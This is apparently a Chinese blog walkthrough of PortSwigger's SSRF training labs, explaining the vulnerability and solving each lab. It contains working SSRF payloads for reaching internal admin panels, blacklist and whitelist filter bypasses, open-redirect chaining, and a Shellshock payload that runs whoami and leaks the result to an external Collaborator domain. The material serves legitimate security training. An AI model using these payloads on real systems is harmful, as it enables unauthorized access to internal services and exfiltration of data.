前言

Portswigger是Burpsuite的官网,也是一个非常好的漏洞训练平台。其Web安全靶场地址为:https://portswigger.net/web-security/

该靶场的训练内容侧重于对Burpsuite各项功能的深入挖掘,这也是《黑客攻防技术宝典Web实战篇》的实战训练平台,配合使用学习效果更佳。

这里仅针对其中的SSRF漏洞靶场,进行一个完整的解读。

SSRF漏洞简介

服务器端请求伪造(SSRF)是一种 web 安全漏洞,它允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出 HTTP 请求。

在典型的 SSRF 示例中,攻击者可能会使服务器连接回自己,或者连接到这个组织的其他基于 web 的服务,或者连接到外部的第三方系统。

SSRF 攻击的影响

成功的SSRF攻击通常会导致易受攻击的应用程序本身或可以与该应用程序通信的其他后端系统上未经授权的操作或对组织内数据的访问。在某些情况下,SSRF漏洞可能允许攻击者执行任意命令。

常见的SSRF攻击

SSRF 攻击经常利用信任关系将来自易受攻击的应用程序的攻击升级并执行未经授权的操作。这些信任关系可能与服务器本身有关,或者与同一组织内的其他后端系统有关。

针对服务器本身的SSRF攻击

漏洞介绍

在针对服务器本身的 SSRF 攻击中,攻击者诱导应用程序通过其环回网络接口向托管应用程序的服务器发出 HTTP 请求。这通常包括提供一个带有主机名的 URL,比如127.0.0.1或 localhost。

例如,考虑一个购物应用程序,该应用程序允许用户查看某个商店中是否有存货。为了提供库存信息,应用程序必须根据所涉及的产品和商店查询各种后端REST API。该功能是通过将URL通过前端HTTP请求传递到相关的后端API端点来实现的。因此,当用户查看某件商品的库存状态时,他们的浏览器会发出如下请求:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118



stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这使服务器向指定的URL发出请求,检索库存状态,并将其返回给用户。

在这种情况下,攻击者可以修改请求以指定服务器本地的URL。例如:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118



stockApi=http://localhost/admin

在这里,服务器将获取/admin的内容并将其返回给用户。

当然,现在攻击者可以直接访问/admin。但是管理功能通常只有适当的经过身份验证的用户才能访问。因此,直接访问URL的攻击者不会看到任何感兴趣的内容。但是,当对/admin URL 的请求来自本地计算机本身时,将绕过正常的访问控制。该应用程序授予对管理功能的完全访问权限,因为该请求似乎来自受信任的位置。

Lab: Basic SSRF against the local server

地址:https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

靶场介绍:

这个靶场有一个库存检查功能,可以从内部系统中获取数据。

要通关此靶场,请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos。

靶场通关:

点击Access the lab进入靶场。

点击Check stock抓包

修改stockApi的内容为:http://locathost/admin

再点击删除carlos用户,抓包,得到删除目标用户的URL:

http://localhost/admin/delete?username=carlos

将stockApi参数修改为此URL即可

漏洞原因

为什么应用程序以这种方式运行,并且隐式信任来自本地机器的请求?出现这种情况的原因有很多:

(1)    
访问控制检查可能在应用程序服务器前面的不同组件中实现。当连接返回到服务器本身时,就会绕过检查。

(2)    
出于灾难恢复的目的,应用程序可能允许来自本地计算机的任何用户在不登录的情况下进行管理访问。这为管理员在丢失凭据时恢复系统提供了一种方法。这里的假设是,只有完全受信任的用户才会直接来自服务器本身

(3)    
管理接口可能监听的端口号与主应用程序不同,因此用户可能无法直接访问。

这种信任关系(来自本地机器的请求与普通请求的处理方式不同)常常使SSRF成为一个严重的漏洞。

SSRF 对其他后端系统的攻击

漏洞介绍

服务器端请求伪造中经常出现的另一种信任关系是,应用服务器能够与用户无法直接访问的其他后端系统交互。这些系统通常有不可路由的私有 IP 地址。由于后端系统通常受到网络拓扑的保护,因此它们通常具有较弱的安全性。在许多情况下,内部后端系统包含敏感功能,任何能够与系统交互的人都可以在不进行身份验证的情况下访问这些功能。

在前面的例子中,假设在后端 URL https://192.168.0.68/admin 中有一个管理界面。在这里,攻击者可以通过提交以下请求,利用 SSRF 漏洞访问管理界面:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118



stockApi=http://192.168.0.68/admin

Lab: Basic SSRF against another back-end system

地址:https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system

靶场介绍:

该靶场具有库存检查功能,可从内部系统获取数据。

要通关此靶场,请使用库存检查功能扫描内部192.168.0.X范围,以查找端口8080上的管理界面,然后使用它删除用户carlos。

靶场通关:

点击Access the lab进入靶场。

点击Check stock抓包,发送到Intruder

设置payload,跑192.168.0.0/24这个C段的8080端口

找到状态为200的响应包,即为管理界面

再点击删除carlos用户,抓包,得到删除目标用户的URL:

http://192.168.0.205:8080/admin/delete?username=carlos

将stockApi参数修改为此URL即可

绕过常见的SSRF防御措施

包含 SSRF 行为的应用程序与旨在防止恶意利用的防御措施一起出现是很常见的。通常,这些防御措施可以被绕过。

SSRF攻击之绕过基于黑名单的输入过滤器

漏洞介绍

一些应用程序阻止包含主机名(如127.0.0.1和 localhost)或敏感 url (如/admin)的输入。在这种情况下,我们通常可以使用各种技术来绕过过滤器:

(1) 使用127.0.0.1的替代IP表示,例如:2130706433(10进制ip)、017700000001(8进制ip)、127.1(短ip)

(2) 注册自己的域名,解析为127.0.0.1

(3) 使用URL编码或大小写变化绕过

Lab: SSRF with blacklist-based input filter

地址:https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

靶场介绍:

这个靶场有一个库存检查功能,可以从内部系统中获取数据。

要通关此靶场,请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了两个弱的反SSRF防御,您需要绕过这些防御。

靶场通关:

点击Access the lab进入靶场。

点击Check stock抓包,发送到Repeater

将stockApi参数中的URL更改为http://127.0.0.1/,发现请求被阻止。

将127.0.0.1改为2130706433即可绕过

将URL更改为http://2130706433/admin,发现再次被阻止。

将字符a进行两次url编码得到%2561,或者用A替代a,即可绕过

将stockApi参数中的URL更改为http://2130706433/%2561dmin/delete?username=carlos
即可删除carlos用户

SSRF攻击之绕过基于白名单的输入过滤器

漏洞介绍

一些应用程序只允许匹配以允许值的白名单开头或包含这些值的输入。在这种情况下,有时可以通过利用URL解析中的不一致性来绕过过滤。

URL 规范包含了许多在实现 URL 特定解析和验证时容易被忽略的特性:

(1)    
您可以使用@字符在主机名之前的URL中嵌入凭据。例如:

https://expected-host@evil-host

(2)    
您可以使用#字符来指示URL片段。例如:

https://evil-host#expected-host

(3)    
您可以利用DNS命名层次结构将所需的输入放入您控制的标准DNS名称中。例如:

https://expected-host.evil-host

(4)    
您可以通过url编码字符来混淆url解析代码。如果实现过滤器的代码处理url编码字符的方式与处理后端HTTP请求的代码不同,那么这一点特别有用

Lab: SSRF with whitelist-based input filter

地址:https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

靶场介绍:

这个靶场有一个库存检查功能,可以从内部系统中获取数据。

要通关此靶场,请更改库存检查的URL以访问管理界面http://localhost/admin并删除用户carlos

开发人员已部署了需要绕过的反SSRF防御。

靶场通关:

点击Access the lab进入靶场

点击Check stock抓包,发送到Repeater

将stockApi参数中的URL更改为http://127.0.0.1/ ,发现请求被阻止,告诉我们主机名必须是stock.weliketoshop.net

使用@字符可以绕过

添加#,之后请求又被阻止,告诉我们主机名必须是stock.weliketoshop.net

将#进行两次url编码,可以绕过

http://127.0.0.1:80%2523@stock.weliketoshop.net

最后,访问

http://127.0.0.1:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

即可删除目标用户

通过开放重定向绕过 SSRF 过滤器

漏洞介绍

通过利用开放重定向漏洞,有时可以绕过任何类型的基于过滤器的防御。在前面的 SSRF 示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 行为。但是,允许 url 的应用程序包含一个开放重定向漏洞。如果用于生成后端HTTP请求的API支持重定向,您可以构造一个满足筛选器的URL,并将重定向请求导向所需的后端目标。

例如,假设应用程序包含一个开放重定向漏洞,其URL如下:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到:

http://evil-user.net

你可以利用开放重定向漏洞绕过 URL 过滤器,利用 SSRF 漏洞如下:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118



stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

这个 SSRF 漏洞之所以有效,是因为应用程序首先验证所提供的 stockAPI URL 是否位于允许的域上(事实上它是)。然后,应用程序请求提供的 URL,这将触发打开的重定向。它遵循重定向,并向攻击者选择的内部 URL 发出请求。

Lab: SSRF with filter bypass via open redirection
vulnerability

地址:https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection

靶场介绍:

这个靶场有一个库存检查功能,可以从内部系统中获取数据。

要通关此靶场,请更改库存检查的URL以访问管理界面http://192.168.0.12:8080/admin 并删除用户carlos

库存检查器被限制为只能访问本地应用程序,因此您需要首先找到一个影响该应用程序的开放重定向。

靶场通关:

点击Access the lab进入靶场

点击Check stock抓包,发送到Repeater

观察到不可能使服务器直接将请求发布到其他主机

单击“Next product”,然后观察到path参数已放置在重定向响应的Location标头中,从而导致开放重定向

创建一个利用开放重定向漏洞的URL,并重定向到管理界面,并将其输入到stockApi参数

/product/nextProduct?path=http://192.168.0.12:8080/admin

库存检查器遵循重定向并显示了管理页面。下面,我们可以修改路径以删除目标用户

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Blind SSRF漏洞

Blind SSRF简介

当应用程序被诱导向提供的URL发出后端HTTP请求,但后端请求的响应没有在应用程序的前端响应中返回时,就会出现Blind SSRF漏洞。

Blind SSRF通常更难利用,但有时会导致在服务器或其他后端组件上远程执行代码。

由于Blind SSRF漏洞的单向特性,其影响通常比常规的SSRF漏洞低。尽管在某些情况下可以利用它们来实现远程代码执行,但不能轻易利用它们从后端系统检索敏感数据

如何发现和利用Blind SSRF漏洞

检测Blind SSRF漏洞的最可靠方法是使用带外(OAST)技术。这涉及尝试触发对您控制的外部系统的HTTP请求,并监视与该系统的网络交互。

使用带外技术的最简单,最有效的方法是使用Burp Collaborator。您可以使用Burp Collaborator客户端生成唯一的域名,将其作为payload发送给应用程序,并监视与这些域的任何交互。如果观察到来自应用程序的传入HTTP请求,那么它很有可能存在SSRF漏洞。

Lab: Blind SSRF with out-of-band detection

地址:https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection

靶场介绍:

该站点使用分析软件,该软件会在加载产品页面时获取Referer标头中指定的URL。

要通关此靶场,请使用此功能向公共Burp Collaborator服务器发出HTTP请求。

靶场通关:

点击Access the lab进入靶场

访问产品,在Burp Suite中拦截请求,然后将其发送给Burp Repeater

启动Burp Collaborator客户端

点击"Copy to clipboard",并使Burp Collaborator客户端窗口保持打开状态。

更改Referer标头,以使用生成的Burp
Collaborator域代替原始域。发送请求。

返回到Burp Collaborator客户端窗口,然后单击“Poll now”。如果没有任何交互,请等待几秒钟,然后重试,因为服务器端命令是异步执行的。

Lab: Blind SSRF with Shellshock exploitation

地址:https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation

靶场介绍:

该站点使用分析软件,该软件会在加载产品页面时获取Referer标头中指定的URL。

要通关此靶场,请使用此功能对192.168.0.X内的内部服务器执行Blind SSRF攻击。在攻击中,对内部服务器使用Shellshock有效载荷,以通过公共Burp Collaborator服务器泄露OS用户的名称。

靶场通关:

Burp中安装”Collaborator
Everywhere”扩展

将靶机的域添加到Burp Suite的scope中,以便Collaborator Everywhere将其定位为目标。

浏览该站点。请注意,当加载产品页面时,它会通过User-Agent和Referer头触发与Burp
Collaborator的HTTP交互。

将浏览产品页面的请求发送到Burp Intruder。

使用Burp Collaborator客户端生成唯一的Burp Collaborator有效负载,并将其放入以下Shellshock有效负载中:

() { :; }; /usr/bin/nslookup
$(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net

将Burp Intruder请求中的User-Agent字符串替换为包含你的Collaborator域的Shellshock有效载荷。

再将Burp Intruder请求中的Referer字符串替换成http://192.168.0.X:8080

配置完成后,点击开始攻击

攻击完成后,返回Burp Collaborator客户端窗口,然后单击“Poll now”。如果未列出任何交互,请等待几秒钟,然后重试,因为服务器端命令是异步执行的。

之后,我们看到一个由后端系统发起的DNS交互,该后端系统受到了成功的Blind SSRF攻击。操作系统用户的名称出现在DNS子域中。

通过Portwigge的Web安全漏洞训练平台,学习SSRF的更多相关文章

  1. 揭秘|一探腾讯基于Kubeflow建立的多租户训练平台背后的技术架构

    腾讯业务及组织架构现状 先简单和大家介绍一下腾讯内部的业务及相关组织架构的现状,有助于帮助大家理解为什么我们会基于后面的架构来设计整套方案. 下图的应用大多数人经常会用到,比如微信.腾讯视频.游戏等等 ...

  2. WEB安全漏洞挖掘向入坑指北

    这个指北不会给出太多的网站和方向建议,因为博主相信读者能够从一个点从而了解全局,初期的时候就丢一大堆安全网址导航只会浇灭人的热情,而且我也不适合传道授业解惑hhh 安全论坛: 先知社区 freebuf ...

  3. 【OWASP TOP10】2021年常见web安全漏洞TOP10排行

    [2021]常见web安全漏洞TOP10排行 应用程序安全风险 攻击者可以通过应用程序中许多的不同的路径方式去危害企业业务.每种路径方法都代表了一种风险,这些风险都值得关注. 什么是 OWASP TO ...

  4. 一个小众搞笑的xss漏洞练习平台

    XSS是当今网络安全事件中数量最多的攻击方式,虽然其危害性不高,但主要和其他攻击手段相结合,以实现一个复杂的攻击场景.那么,XSS是什么? XSS全称跨站脚本(Cross Site Scripting ...

  5. 关于HTML5音频——audio标签和Web Audio API各平台浏览器的支持情况

    对比audio标签 和 Web Audio API 各平台浏览器的支持情况:   audio element Web Audio API desktop browsers Chrome 14 Yes  ...

  6. [web安全]Web应用漏洞攻击分析与防范

    网站攻击主要分为以下几类: (1) sql注入攻击 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.它是利 ...

  7. 基于Web的漏洞利用

    1.Nikto 基于Web的漏洞信息扫描 nikto 自动扫描web服务器上没有打补丁的软件,同时同时也检测驻留在服务器上的危险文件,nikto能够识别出特定的问题,检测服务器的配置问题, 检测某台主 ...

  8. kali上部署dvwa漏洞测试平台

    kali上部署dvwa漏洞测试平台 一.获取dvwa安装包并解压 二.赋予dvwa文件夹相应权限 三.配置Mysql数据库 四.启动apache2和mysql服务 五.在网页配置dvwa 六.登陆到D ...

  9. Yearning v1.3.0 发布,Web 端 SQL 审核平台

    企业级MYSQL web端 SQL审核平台. Website 官网 www.yearning.io Feature 功能 数据库字典自动生成 SQL查询 查询工单 导出 自动补全,智能提示 查询语句审 ...

随机推荐

  1. C#怎么从List集合中随机取出其中一个值

    1.首先在该命名空间下创建一个实体,和在Main方法下List集合,为后续做准备: /// <summary> /// 实体 /// </summary> public cla ...

  2. JS常见加密混淆方式

    目录 前端js常见混淆加密保护方式 eval方法等字符串参数 emscripten WebAssembly js混淆实现 JSFuck AAEncode JJEncode 代码压缩 变量名混淆 字符串 ...

  3. shell-脚本开发基本规范及习惯

    1.shell-脚本开发基本规范及习惯 1.开头指定脚本解析器 #!/bin/sh 或#!/bin/bash 2.开头加版本版权等信息 #Date: 2018/3/26 #Author: zhangs ...

  4. synchronized、volatile区别、synchronized锁粒度、模拟死锁场景、原子性与可见性

    synchronized.volatile区别.synchronized锁粒度 synchronized synchronized是Java中的关键字,是一种同步锁.有以下几种用法: 用法 1.修饰方 ...

  5. go http爬虫

    1 package main import ( "fmt" "io/ioutil" "net/http" ) func main() { r ...

  6. swoft 事件监听和触发 打印sql日志

    需求 打印出swoft的所有sql日志到控制台或者文件 只要打开listener 下面 Dbranlisten.php 里面最后一行注释即可,swoft已经帮我们实现好了 ____ _____ ___ ...

  7. selenium-绕过登录

    第一种方式:chrome-debug 1.现在终端输入一下命令,启动Chrome-debug模式 #windows a.首先将chrome的环境添加到PATH中 b.进入cmd 命令栏,输入:chro ...

  8. dom4j api 详解【转】

    1.DOM4J简介 DOM4J是 dom4j.org 出品的一个开源 XML 解析包.DOM4J应用于 Java 平台,采用了 Java 集合框架并完全支持 DOM,SAX 和 JAXP. DOM4J ...

  9. PyTorch常用参数初始化方法详解

    1. 均匀分布 torch.nn.init.uniform_(tensor, a=0, b=1) 从均匀分布U(a, b)中采样,初始化张量. 参数: tensor - 需要填充的张量 a - 均匀分 ...

  10. python第三章:函数

    在前面章节中,介绍了一些input(),print(),len()等内建函数,还有random,math等标准库相关函数,这些都是可以直接使用的,但是很多时候,我们也是可以编写自己的函数. 看个例子: ...